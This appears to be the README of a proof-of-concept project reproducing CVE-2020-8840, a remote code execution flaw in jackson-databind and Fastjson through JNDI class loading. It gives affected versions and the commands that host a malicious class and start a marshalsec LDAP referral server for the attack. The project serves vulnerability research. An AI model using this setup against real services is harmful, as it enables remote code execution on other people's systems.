CVE-2020-8840

Jackson-databind remote code execution vulnerability (CVE-2020-8840) analysis and reproduction environment code.

The project includes:

• jackson-databind, Fastjson payloads
• WebServer malicious class
• Compiled marshalsec-0.0.3-SNAPSHOT-all.jar

Vulnerability Overview

Jackson-databind remote code execution vulnerability (CVE-2020-8840). Attackers can exploit the xbean-reflect gadget chain (org.apache.xbean.propertyeditor.JndiConverter) to trigger JNDI remote class loading and achieve remote code execution.

This vulnerability affects certain versions of jackson-databind and Fastjson.

jackson-databind

Affected versions: 2.0.0 <= FasterXML jackson-databind <= 2.9.10.2

Simple Environment Setup

The LDAP service referenced in the example code needs to be set up by yourself.

WebServer

Start HTTP service to host the malicious class (the project includes the Evil.java class)

python -m http.server 2222

LDAP Service

Download the Marshalsec tool, compile it into a jar, start the LDAP service, and set the codebase address (the WebServer hosting the malicious class).

For convenience, to skip the download and compilation steps, the project also includes marshalsec-0.0.3-SNAPSHOT-all.jar (the project code is not large, the large size is mainly due to this jar), compiled with JDK8.

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:2222/#Evil

Fastjson

Affected versions: Fastjson <= 1.2.62

The reproduction environment is the same as above; set up and start the WebServer and LDAP service yourself.

References

• https://github.com/FasterXML/jackson-databind
• https://github.com/FasterXML/jackson-databind/issues/2620
• https://github.com/FasterXML/jackson-databind/commit/914e7c9f2cb8ce66724bf26a72adc7e958992497
• https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062
• https://github.com/alibaba/fastjson